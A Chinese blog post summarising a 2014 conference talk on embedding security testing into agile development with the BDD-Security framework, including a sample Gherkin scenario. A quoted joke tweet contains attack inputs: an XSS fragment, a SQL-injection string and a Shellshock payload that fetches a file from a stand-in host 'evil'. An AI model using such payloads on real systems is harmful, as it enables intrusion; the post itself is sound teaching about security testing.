在開發(fā)流程中嵌入安全測(cè)試
ContinuumSecurity創(chuàng)始人Stephen de Vries,在Velocity Europe 2014大會(huì)上提出了持續(xù)且可視化的安全測(cè)試的觀點(diǎn)。Stephen表示,那些在敏捷開發(fā)過程中用于將QA嵌入整個(gè)開發(fā)流程的方法和工具都能同樣的用于安全測(cè)試。BDD-Security是一個(gè)基于JBehave,且遵循Given-When-Then方法的安全測(cè)試框架。
傳統(tǒng)的安全測(cè)試都遵循瀑布流程,也就是說安全團(tuán)隊(duì)總是在開發(fā)階段的末期才參與進(jìn)來,并且通常需要外部專家的幫助。在整個(gè)開發(fā)流程中,滲透測(cè)試總是被安排到很晚才做,使得為應(yīng)用做安全防范的任務(wù)尤其困難且復(fù)雜。Stephen認(rèn)為安全測(cè)試完全可以變得像QA一樣:每個(gè)人都對(duì)安全問題負(fù)責(zé);安全問題可以在更接近代碼的層面考慮;安全測(cè)試完全可以嵌入一個(gè)持續(xù)集成的開發(fā)過程中。
為了論證QA和安全測(cè)試只有量的區(qū)別而沒有質(zhì)的區(qū)別,Stephen展示了C. Maartmann-Moe和Bill Sempf分別發(fā)布的推特:
從QA的角度:
QA工程師走進(jìn)一家酒吧,點(diǎn)了一杯啤酒;點(diǎn)了0杯啤酒;點(diǎn)了999999999杯啤酒;點(diǎn)了一只蜥蜴;點(diǎn)了-1杯啤酒;點(diǎn)了一個(gè)sfdeljknesv。
從安全的角度:
滲透測(cè)試工程師走進(jìn)一家酒吧,點(diǎn)了一杯啤酒;點(diǎn)了”>杯啤酒;點(diǎn)了’or 1=1-杯啤酒;點(diǎn)了() { :; }; wget -O /beers http://evil; /杯啤酒。 要將安全測(cè)試集成進(jìn)敏捷開發(fā)流程中,首先需要滿足的條件是:可見性,以便采取及時(shí)應(yīng)對(duì)措施并修補(bǔ);可測(cè)試性,以便于自動(dòng)化,比僅僅簡(jiǎn)單的掃描更有價(jià)值。Stephen發(fā)現(xiàn)BDD工具族就同時(shí)滿足了可見性及可測(cè)試性,因此他開始著手構(gòu)建BDD-Security安全測(cè)試框架。
由于BDD-Security是基于JBehave構(gòu)建的,因此它使用BDD的標(biāo)準(zhǔn)說明語言Gherkin。一個(gè)BDD-Security測(cè)試場(chǎng)景如下:
Scenario: Transmit authentication credentials over HTTPS
Meta: @id auth_https
Given the browser is configured to use an intercepting proxy
And the proxy logs are cleared
And the default user logs in with credentials from: users.table
And the HTTP request-response containing the default credentials is inspected
Then the protocol should be HTTPS
BDD-Security用戶故事的編寫與通常做法不太一樣。BDD-Security說明頁面上寫著:
本框架的架構(gòu)設(shè)計(jì)使得安全用例故事與應(yīng)用的特定導(dǎo)航邏輯相互獨(dú)立,這意味著同一個(gè)用戶故事僅需要做微小的改動(dòng)就能用在多個(gè)應(yīng)用中,有時(shí)甚至無需修改。
這也說明BDD-Security框架認(rèn)為對(duì)許多應(yīng)用來說,有一系列安全需求都是普遍要滿足的。也就是說你只需寫代碼把已有的故事插入你的應(yīng)用——也就是導(dǎo)航邏輯中即可。當(dāng)然,必要的時(shí)候你也完全可以編寫自己的用戶故事。
BDD-Security依賴于第三方安全測(cè)試工具來執(zhí)行具體的安全相關(guān)的行為,例如應(yīng)用掃描。這些工具有OWASP ZAP或Nessus等。
Stephen還提到其它一些有類似功能的工具。如Zap-WebDriver就是一款更簡(jiǎn)單的工具,不喜歡BDD方式的人可以考慮采用它。Gauntlt與BDD-Security框架類似,同樣支持BDD,只是它使用的編程語言是Ruby。Mittn用Python編寫并且同樣也使用Gherkin。
posted on 2015-03-18 22:10 順其自然EVO 閱讀(3316) 評(píng)論(0) 編輯 收藏 所屬分類: 安全性測(cè)試